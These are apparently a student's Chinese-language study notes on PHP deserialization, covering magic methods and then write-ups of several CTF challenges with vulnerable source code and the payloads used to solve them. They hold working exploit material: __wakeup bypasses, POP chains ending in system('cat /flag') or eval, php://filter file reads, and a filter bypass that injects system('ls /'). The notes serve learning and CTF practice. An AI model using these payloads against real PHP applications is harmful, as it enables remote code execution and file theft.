phpstorm的配置比其他的一些都要复杂些,我又不小心给我的一个东西删了 算是第三次配置php的环境了 注意:不能仅在这里选择php.exe,需要的是PHP的集成开发环境WAMP64
各方法基本用法 __consrtuct() _construct()方法,输出结果:对象被创建了__consrtuct()。一个类进行序列化,触发这个魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Stu { public $name = 'aa'; public $age = 18; function __construct() { echo '对象被创建了__consrtuct()'; } } $a=new Stu(); serialize($a); ?>
输出:对象被创建了__consrtuct()
__destruct(),__wakeup() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class Stu { public $name = 'aa'; public $age = 18; function __wakeup() { echo '执行了反序列化__wakeup()'; } function __destruct() { echo '对象被销毁了__destruct()'; } } $a=new Stu(); $b = serialize($a); unserialize($b); ?>
结果:执行了反序列化__wakeup()对象被销毁了__destruct()对象被销毁了__destruct() 反序列化会创建一个新的对象,这个新的对象会调用__wakeup() 然后我们反序列化,unserialize($b)没有被接收到其值,这个反序列化对象在语句执行完成后立即失去作用,php就会马上回收它,触发__destruct() 然后就是脚本执行到最后一行时,php开始清理$a,因为$a也是一个对象,php自动销毁,触发__destruct()
/[oc]:\d+:/i研究 OC正则表达式,意思就是过滤掉一些东西 \d+:/i什么意思? \d:匹配一个数字字符。等价于[0-9] +:匹配前面的子表达式一次或多次。例如,’zo+’能匹配”zo”以及”zoo”,但不能匹配”z”。+等价于{1,}. /i:表示匹配的时候不区分大小写 思考下面的怎么绕过
1 2 3 4 5 if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); }
这个正则是基本一定要把你的数字给过滤掉的 我们在paylaod表示类的长度的这类中,加上一个+就可以绕过了
1 O:+7:"Student":1:{s:1:"a";i:123;}
__wakeup()的绕过方式 1.属性个数大于真实个数(cve-2016-7124) 影响范围:php5<5.6.25,php7<7.0.10
1 O:7:"Student":1:{s:1:"a";i:123;}
假设这个的paylaod是这个,然后就是我们第四个位置的1,代表我们的这个student类的属性个数,我们把1改为2即可绕过wakeup函数 2.如果类中同时定义了__wakeup()和__unserialize()两个魔术方法,则只会触发__unserialize(),__wakeup()方法会被忽略 3.C绕过 O标识代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性和方法。这样一来,__wakeup()魔术方法就不会被自动调用 常规绕过:
1 2 3 O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;} 变成下面 C:4:“User”:2:{}
4.C进阶绕过:愚人杯3rd [easy_php]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting(0); highlight_file(__FILE__); class ctfshow{ public function __wakeup(){ die("not allowed!"); } public function __destruct(){ system($this->ctfshow); } } $data = $_GET['1+1>2']; if(!preg_match("/^[Oa]:[\d]+/i", $data)){ unserialize($data); } ?>
这里的核心是绕过__wake()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class ctfshow{ public function __wakeup(){ die("not allowed!"); } public function __destruct(){ system($this->ctfshow); } } $a=new ctfshow(); echo serialize($a); //O:7:"ctfshow":0:{}
我们得到paylaod
我们可以直接改C,但是这里都没有命令执行的步骤
1 2 3 4 5 6 7 8 9 10 <?php class ctfshow{ public $ctfshow="cat /f*"; } $A=new ArrayObject; $A->a=new ctfshow; echo serialize($A); ?>
生成结果:
1 O:11:"ArrayObject":4:{i:0;i:0;i:1;a:0:{}i:2;a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}i:3;N;}
假设要传入的参数是name,我们将name进行编码,然后再将O改为C就可以了 5.或者使用SplStack()也是可以的
1 2 3 4 5 6 7 8 9 <?php class ctfshow{ public $ctfshow="cat /f*"; } $a=new ctfshow; $A=new SplStack(); $A->push($a); echo serialize($A); ?>
6.GC回收机制后面遇见了再说
__sleep() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Stu { public $name = 'aa'; public $age = 18; function __sleep() { echo '执行了序列化__sleep'; return array('name','age'); } } $a = new Stu(); serialize($a); ?>
输出结果:执行了序列化__sleep __sleep()是php中的一个魔术方法,会在我对对象执行serialize()
时自动调用
__call() 1 2 3 4 5 6 7 8 9 10 11 12 <?php class MyClass { public function __call($name, $arguments) { echo "调用了不存在的方法 $name,参数为:". implode(', ', $arguments); } } $obj = new MyClass(); $obj->nonExistentMethod('param1', 'param2'); ?>
结果:调用了不存在的方法 param1, param2
::前面为类,后面方法和参数 1 2 3 4 5 6 7 8 9 10 <?php class MyStaticClass { public static function __callStatic($name, $arguments) { echo "以静态方式调用了不存在的方法 $name,参数为:". implode(', ', $arguments); } } MyStaticClass::nonExistentStaticMethod('param1', 'param2'); ?>
结果:以静态方式调用了不存在的方法 param1, param2
call_user_func() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 call_user_func() 函数概述 在 PHP 里,call_user_func() 是一个十分实用的函数,其功能是调用任意用户自定义的函数。借助这个函数,你能够在运行时动态地调用函数,增强代码的灵活性。 基本语法 php call_user_func(callable $callback, mixed ...$parameters): mixed $callback:这是一个必选参数,代表要调用的函数。它可以是函数名(以字符串形式呈现)、对象的方法(用数组形式表示,数组第一个元素为对象实例,第二个元素为方法名)或者静态类方法(同样用数组形式,不过第一个元素是类名,第二个元素是方法名)。 $parameters:这是可选参数,为传递给被调用函数的参数。 用法示例 调用普通函数 php function greet($name) { return "Hello, $name!"; } $result = call_user_func('greet', 'John'); echo $result; 在这个例子中,我们定义了一个 greet 函数,然后使用 call_user_func 来调用它,并且传递了参数 'John'。 调用对象的方法 php class MyClass { public function sayHello($name) { return "Hello, $name!"; } } $obj = new MyClass(); $result = call_user_func([$obj, 'sayHello'], 'Jane'); echo $result; 这里,我们创建了 MyClass 的一个对象实例 $obj,接着通过 call_user_func 调用该对象的 sayHello 方法,并传入参数 'Jane'。 调用静态类方法 php class MyStaticClass { public static function sayGoodbye($name) { return "Goodbye, $name!"; } } $result = call_user_func(['MyStaticClass', 'sayGoodbye'], 'Bob'); echo $result; 此例中,我们使用 call_user_func 调用了 MyStaticClass 类的静态方法 sayGoodbye,同时传入参数 'Bob'。 call_user_func($arguments[0]); 含义 call_user_func($arguments[0]); 意味着将 $arguments 数组的第一个元素当作要调用的函数,然后调用该函数。不过,要保证 $arguments[0] 是一个有效的可调用对象(比如函数名、对象方法或静态类方法),不然会引发错误。 以下是一个示例: php function add($a, $b) { return $a + $b; } $arguments = ['add', 2, 3]; $result = call_user_func($arguments[0], $arguments[1], $arguments[2]); echo $result; 在这个例子里,$arguments[0] 是 'add',也就是我们之前定义的 add 函数名,接着使用 call_user_func 调用该函数,并且传递了 $arguments[1] 和 $arguments[2] 作为参数。最终输出结果为 5。
—call(),在对象中调用一个不可以访问方法时调用 ——callStatic(),用静态方式中调用一个不可以访问方法时调用 这里的静态与动态:静态方法指的是用 static 关键字声明的类方法,可以不实例化对象就直接调用 这里给的一个参数如果是数组,应该算做静态。不对 静态看的是你传的这个东西有没有实例化,有的就不是静态了 -toString(),类被当成字符串时的回应方法 -invoke(),调用函数的方式调用一个对象时的回应方法 下面四个都很少遇见
-get(),获得一个类的成员变量时调用 用于读取类中未定义或不可访问属性时被自动调用 或者访问该类的属性不存在 就是对于某类的属性是private或者protected时触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class User { private $data = [ 'name' => 'Alice', 'email' => 'alice@example.com' ]; public function __get($property) { echo "__get 被调用:尝试访问 '$property'\n"; if (array_key_exists($property, $this->data)) { return $this->data[$property]; } return null; } } $user = new User(); echo $user->name; // 触发 __get(),输出 Alice echo $user->age; // 触发 __get(),输出 null 结果:__get 被调用:尝试访问 'name' Alice__get 被调用:尝试访问 'age'
-isset(),当对不可访问属性调用isset()或empty()时调用 -set(),设置一个类的成员变量时调用 -unset(),当对不可访问属性调用unset()时被调用 ok,开始来做题
[SWPUCTF 2021 新生赛]ez_unserialize 1分 反序列化PHPJava反序列化 一进去看源码得知要看robots.txt 访问,回显:Disallow: /cl45s.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0); show_source("cl45s.php"); class wllm{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } } $p = $_GET['p']; unserialize($p); ?>
有一个反序列化的题目,构造payload拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class wllm{ public $admin; public $passwd; public function __construct() { $this->admin = "admin"; $this->passwd = "ctf"; } } $p = new wllm(); echo serialize($p); ?>
[SWPUCTF 2021 新生赛]no_wakeup 1分 反序列化PHPJava反序列化 点进去一下,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header("Content-type:text/html;charset=utf-8"); error_reporting(0); show_source("class.php"); class HaHaHa{ public $admin; public $passwd; public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; } public function __wakeup(){ $this->passwd = sha1($this->passwd); } public function __destruct(){ if($this->admin === "admin" && $this->passwd === "wllm"){ include("flag.php"); echo $flag; }else{ echo $this->passwd; echo "No wake up"; } } } $Letmeseesee = $_GET['p']; unserialize($Letmeseesee); ?>
很简单,构造paylaod再cve方法绕过wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class HaHaHa { public $admin; public $passwd; public function __construct() { $this->admin = "admin"; $this->passwd = "wllm"; } } $Letmeseesee = new HaHaHa(); echo serialize($Letmeseesee); ?>
[ZJCTF 2019]NiZhuanSiWei 1分 反序列化PHP伪协议PHP 一进去又给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
我们一开始需要进入if true的代码块里面,需要采用data://协议
1 2 3 4 5 6 7 8 9 10 11 12 data://协议 需要allow_url_fopen,allow_url_include均为on 这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下: http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> text/plain,表示的是文本 text/plain;base64, 若纯文本没用可用base64编码
这里我们选用纯文本模式:text=data://text/plain,welcome to the zjctf 结合源码,我们构造paylaod
1 ?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
这里读到了useless.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
这里我们就借助反序列化还剩的一个变量来拿flag 这里能够拿flag的原理就是,useless.php文件里面是__tostring() 然后刚才我们的源码就是刚好有echo
[SWPUCTF 2021 新生赛]pop 1分 反序列化PHP代码审计 一进来也是给了源码,其他的几乎什么也是没有的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?>
整体链子也是很简单,基本一下子就可以出来了 还有就是注意protected受保护属性序列化时,在变量名面前加上“%00*%00”,后面就没有加了 private私有属性序列化时,会在pub名字前加类名test,testpub明明是7个,为什么会是九个呢?在变量名面前加”%00类名(test)%00pub”;这样就是九个了
构造paylaod拿到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; // public function Getflag(){ // if($this->admin === 'w44m' && $this->passwd ==='08067'){ // include('flag.php'); // echo $flag; // }else{ // echo $this->admin; // echo $this->passwd; // echo 'nono'; // } // } } class w22m{ public $w00m; // public function __destruct(){ // echo $this->w00m; // } } class w33m{ public $w00m; public $w22m = 'Getflag'; // public function __toString(){ // $this->w00m->{$this->w22m}(); // return 0; // } } $w00m = new w22m(); $w00m->w00m = new w33m(); $w00m->w00m->w00m = new w44m(); $a = serialize($w00m); echo $a; ?>
[HUBUCTF 2022 新生赛]checkin 1分 反序列化弱比较PHP 一进去就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php show_source(__FILE__); $username = "this_is_secret"; $password = "this_is_not_known_to_you"; include("flag.php");//here I changed those two $info = isset($_GET['info'])? $_GET['info']: "" ; $data_unserialize = unserialize($info); if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){ echo $flag; }else{ echo "username or password error!"; } ?> username or password error!
这个源码就显示的非常奇怪,注意弱等于,然后就是我们稍微构造一下
1 2 3 4 5 6 7 8 <?php $ab=array( 'username'=>true, 'password'=>true ); $b=serialize($ab); echo $b; ?>
回显:
1 a:2:{s:8:"username";b:1;s:8:"password";b:1;}
最后拿到flag
[SWPUCTF 2022 新生赛]1z_unserialize 1分 反序列化PHPRCE 题目描述
是很简单的反序列化噢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class lyh{ public $url = 'NSSCTF.com'; public $lt; public $lly; function __destruct() { $a = $this->lt; $a($this->lly); } } unserialize($_POST['nss']); highlight_file(__FILE__); ?>
一进去就是源码,简单构造源码来拿到flag,很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class lyh{ public $url = 'NSSCTF.com'; public $lt = 'system'; public $lly = 'cat /flag'; function __destruct() { $a = $this->lt; $a($this->lly); } } $a = new lyh(); echo serialize($a); ?>
[SWPUCTF 2022 新生赛]ez_ez_unserialize 1分 反序列化PHPRCE 一进去也是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class X { public $x = __FILE__; function __construct($x) { $this->x = $x; } function __wakeup() { if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php } } if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']); } else { highlight_file(__FILE__); }
也是很简单的,paylaod也很简答,加上一个cve的wakeup漏洞的绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class X { public $x = 'fllllllag.php'; function __construct($x) { $this->x = $x; } function __wakeup() { if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); //flag is in fllllllag.php } } $a = new X('fllllllag.php'); echo serialize($a);
当然,我也只是知道具体的思路,那个系统的自动填补帮助我了一下,然后就出flag了
[NISACTF 2022]babyserialize 1分 反序列化PHPRCE 一进去也是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='abc'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?>
[NISACTF 2022]popchains 一进去是源码进来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php echo 'Happy New Year~ MAKE A WISH<br>'; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/
这里还需要特别注意一个东西,也就是对于__toString的触发 最常见到的便是echo来触发这个,然后就是这里的给一个对象进行赋值 原本做到这个以为自己又会了,结果发现还有__get方法的调用不是很清晰,又回去补充了一下笔记再来做这道题目 这样链子就清晰了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php class Road_is_Long{ public $page; public $string; // public function __construct($file='index.php'){ // $this->page = $file; // } // public function __toString(){ // return $this->string->page; // } // // public function __wakeup(){ // if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { // echo "You can Not Enter 2022"; // $this->page = "index.php"; // } // } } class Try_Work_Hard{ protected $var= 'php://filter/convert.base64-encode/resource=/flag'; // public function append($value){ // include($value); // } // public function __invoke(){ // $this->append($this->var); // } } class Make_a_Change{ public $effort ; // public function __construct(){ // $this->effort = array(); // } // // public function __get($key){ // $function = $this->effort; // return $function(); // } } $a = new Road_is_Long(); $b = new Make_a_Change(); $c = new Try_Work_Hard(); $a->page= $a; $a->string=$b; $b->effort=$c; echo urlencode(serialize($a));
最后的paylaod就是这个,我们需要特别注意最后的有个地方,实例化一个类后,需要对此类的对象再实例化,就特别需要注意说不要两次调用,先把需要的都实例化了,再来调用
[第五空间 2021]pklovecloud 1分 反序列化PHPPhar反序列化 这里为什么是phar反序列化?第一遍看的时候觉得不是,特殊之处就是说,我这里需要给这个构造两个payload,这样才可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class acp { protected $cinder; public $neutron='111'; public $nova='111'; // function __construct() // { // $this->cinder = new pkshow; // } // function __toString() // { // if (isset($this->cinder)) // return $this->cinder->echo_name(); // } } class ace { public $filename; public $openstack; public $docker; // function echo_name() // { // $this->openstack = unserialize($this->docker); // $this->openstack->neutron = $heat; // if($this->openstack->neutron === $this->openstack->nova) // { // $file = "./{$this->filename}"; // if (file_get_contents($file)) // { // return file_get_contents($file); // } // else // { // return "keystone lost~"; // } // } // } } $p = new acp(); $e = new ace(); $e->docker = new acp(); echo serialize($e->docker) ?>
1 O:3:"acp":3:{s:9:" * cinder";N;s:7:"neutron";s:3:"111";s:4:"nova";s:3:"111";}
这里再改动一下
1 2 还有就是注意protected受保护属性序列化时,在变量名面前加上“%00*%00”,后面就没有加了 private私有属性序列化时,会在pub名字前加类名test,testpub明明是7个,为什么会是九个呢?在变量名面前加"%00类名(test)%00pub";这样就是九个了
1 O:3:"acp":3:{s:9:"%00*%00cinder";N;s:7:"neutron";s:3:"111";s:4:"nova";s:3:"111";}
再构造一次paylaod,发现拿不到flag,这里有三个问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class acp { protected $cinder; public $neutron='111'; public $nova='111'; function __construct() { $this->cinder = new ace; } // function __toString() // { // if (isset($this->cinder)) // return $this->cinder->echo_name(); // } } class ace { public $filename='flag.php'; public $openstack; public $docker = 'O:3:"acp":3:{s:9:"%00*%00cinder";N;s:7:"neutron";s:3:"111";s:4:"nova";s:3:"111";}'; // function echo_name() // { // $this->openstack = unserialize($this->docker); // $this->openstack->neutron = $heat; // if($this->openstack->neutron === $this->openstack->nova) // { // $file = "./{$this->filename}"; // if (file_get_contents($file)) // { // return file_get_contents($file); // } // else // { // return "keystone lost~"; // } // } // } } $p = new acp(); $e = new ace(); $e->docker = new acp(); echo urlencode(serialize($p)); ?>
1.这个主要的函数,file_get_contents($file);这个就是让你来phar反序列化的 2. $this->openstack->neutron = $heat;它不是包含了一个文件吗?这里如果要赋值的话那就的地址才行 3. function __construct() { $this->cinder = new ace; } 这个在这里里面实例化为一个对象,外面不需要再加上我们的()的
ok,看wp了,补充一些知识 file_get_contents($file)可以实现包含文件的功能,不一定就是phar反序列化了 __toString的触发方法
1 2 3 4 1.对一个对象进行echo操作或者print操作时可以触发 2.声明的变量赋值为对象后与字符串做弱类型比较时会触发 3.声明的变量赋值为对象后进行正则表达式时会触发 4.声明的变量赋值为对象后进行大小写转化等等可以触发
还有这里,我上面的paylaod还有错误的,有一个思路上的错误 前面的链子其实都没有什么大的问题,注意理解下面的一句话
1 2 3 4 这个然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使 得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立 并且读取 flag.php。这个wp写的是我们我有一些问题,一个就是说,this->$openstack = unserialize($this->docker),因此只要我们使 得$this->docker =null。这个明明opebstack为什么null了,为什么还可以在里面调用,opebstack这个为什么都为null了,不是一个类,但是还可以调用
关于这个疑问的gpt解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 非常好,我们来详细分析你现在提供的代码逻辑,尤其是你反复提到的这个点: 为什么 $b->docker = null 就可以成功拿到 flag.php? ✅ 第一部分:确认关键逻辑链 这是你写的核心触发链: // 创建对象并赋值 $a = new acp(); // 触发 __construct() -> $this->cinder = new ace; $b = new ace(); $b->docker = null; echo urlencode(serialize($a)); 然后你访问: vuln.php?pks=<payload> 触发了: $logData = unserialize($_GET['pks']); echo $logData; ✅ 第二部分:哪段代码被实际调用? 我们注意到: echo $logData; 是在输出反序列化得到的对象 $logData。 所以,如果你传入的是 acp 的对象,echo 会触发 acp::__toString()。 acp::__toString() 返回 $this->cinder->echo_name()。 function __toString() { if (isset($this->cinder)) { return $this->cinder->echo_name(); } } 也就是说,只要你控制 $this->cinder 是 ace 类型,那么就能调用 ace::echo_name()。 ✅ 第三部分:来看 ace::echo_name() 的关键逻辑 function echo_name() { $this->openstack = unserialize($this->docker); // line A $this->openstack->neutron = $heat; // line B if ($this->openstack->neutron === $this->openstack->nova) { return file_get_contents($this->filename); } } 你说你设置了 $this->docker = null,为什么还能执行下去? 🧠 第四部分:关键点来了 —— unserialize(null) 的行为 我们来实测并分析: var_dump(unserialize(null)); // bool(false) 所以: $this->openstack = false; 然后执行: $this->openstack->neutron = $heat; 这是对 false 赋对象属性,PHP 中会发生什么? ❗ PHP 的魔法行为:自动把标量变成 stdClass 是的,这就是很多 PHP 利用链中的关键! ✅ 在 PHP 中,你给 null 或 false 等非对象类型赋一个属性时,会自动转成 stdClass 对象。 这是你问的重点: ❓“$this->openstack = false(因为 unserialize(null)),为什么还能赋属性?” ✅ 举个例子: $x = false; $x->neutron = "abc"; var_dump($x); // object(stdClass)#1 (1) { ["neutron"]=> string(3) "abc" } 你可以在本地 PHP 跑一下验证:这是合法的! ✅ 所以在你的场景中会变成这样: $this->docker = null; $this->openstack = unserialize(null); // -> false // line B: $this->openstack->neutron = $heat; // -> openstack 自动变成 stdClass,now has neutron // 接着你又写: if ($this->openstack->neutron === $this->openstack->nova) 此时: $this->openstack->nova == null; // 因为 stdClass 没有 nova 你只需要控制 $heat = null,就有: $this->openstack->neutron = null; $this->openstack->nova = null; // 不存在的属性,值为 null // 所以判断成立 if (null === null) // true ✅ 最终效果: $filename = 'flag.php' → 读取文件成功; 条件成立,触发 file_get_contents(),你就拿到了 flag。 ✅ 总结你的问题「为什么 null 可以继续使用?」 行为 解释 unserialize(null) 返回 false false->property = ... 会触发 PHP 的自动转型机制,变为 stdClass 对象 stdClass 默认属性不存在时 读取时为 null,与 $heat = null 相等 所以 neutron === nova 成立 进而成功读取 flag.php ✅ 利用的“黑魔法”是: false->property = xxx → PHP 自动将 false 转为 stdClass 对象并赋值。 如果你还需要我帮你构造一个 payload 示例,或者写成 Base64 / URL 编码格式的 GET 参数,我也可以帮你生成。只管说
就是为空了,php会把这个当作sta Class 里面什么都没有,你再调用,自然也是null。肯定满足强相等 也不管你这个$heat等于什么了 然后就是
1 2 3 <?php $heat="asdasdasdasd53asd3a1sd3a1sd3asd"; $flag="flag in /nssctfasdasdflag";
发现什么也没有读到,这里我们选择 读../nssctfasdasdflag
[GDOUCTF 2023]反方向的钟 1分 反序列化PHP伪协议PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php error_reporting(0); highlight_file(__FILE__); // flag.php class teacher{ public $name; public $rank; private $salary; public function __construct($name,$rank,$salary = 10000){ $this->name = $name; $this->rank = $rank; $this->salary = $salary; } } class classroom{ public $name; public $leader; public function __construct($name,$leader){ $this->name = $name; $this->leader = $leader; } public function hahaha(){ if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){ return False; } else{ return True; } } } class school{ public $department; public $headmaster; public function __construct($department,$ceo){ $this->department = $department; $this->headmaster = $ceo; } public function IPO(){ if($this->headmaster == 'ong'){ echo "Pretty Good ! Ctfer!\n"; echo new $_POST['a']($_POST['b']); } } public function __wakeup(){ if($this->department->hahaha()) { $this->IPO(); } } } if(isset($_GET['d'])){ unserialize(base64_decode($_GET['d'])); } ?>
这里有我们的代码 这个整体的逻辑都还是挺简单的,我们需要注意这里,特别是就是new了我们传入的对象,接下来我们应该怎么来拿到flag。自己再构造一个类吗? 这里用php的原生类
1 a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
最后拿到flag
[SWPUCTF 2022 新生赛]ez_1zpop 1分 反序列化弱比较PHP 这个也比较简单,不多说了
[MoeCTF 2021]unserialize 1分 反序列化PHPRCE 题目描述
https://github.com/XDSEC/moeCTF_2021
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class entrance { public $start; function __construct($start) { $this->start = $start; } function __destruct() { $this->start->helloworld(); } } class springboard { public $middle; function __call($name, $arguments) { echo $this->middle->hs; } } class evil { public $end; function __construct($end) { $this->end = $end; } function __get($Attribute) { eval($this->end); } } if(isset($_GET['serialize'])) { unserialize($_GET['serialize']); } else { highlight_file(__FILE__); }
这个一进去是源码,就三个类,理论上应该就是不难的 构造的时候,我发现了自己的问题,__call是方法,__get是变量 还有就是我要eval函数时,外面给了eval,我们需要这样赋值
1 2 eval($this->end); $c->end = "system('ls /');";
这样拿到flag
[FSCTF 2023]EZ_eval 1分 RCE空格绕过WAF绕过 一进去,发现
1 2 3 4 5 6 7 8 9 10 11 <?php if(isset($_GET['word'])){ $word = $_GET['word']; if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){ die("nonono."); } $word = str_replace("?", "", $word); eval("?>". $word); }else{ highlight_file(__FILE__); }
你看上面的这个,会再前面加上?>,然后就是后面的代码不会再当成php来执行了 过滤问号-
1 <script language='php'>system('ls /')</script>
过滤空格-%09
1 <script%09language='php'>system('ls%09/')</script>
这里strings``paste``sort
都是可以的,又学到了
[天翼杯 2021]esay_eval 1分 反序列化RCERedis 代码如下
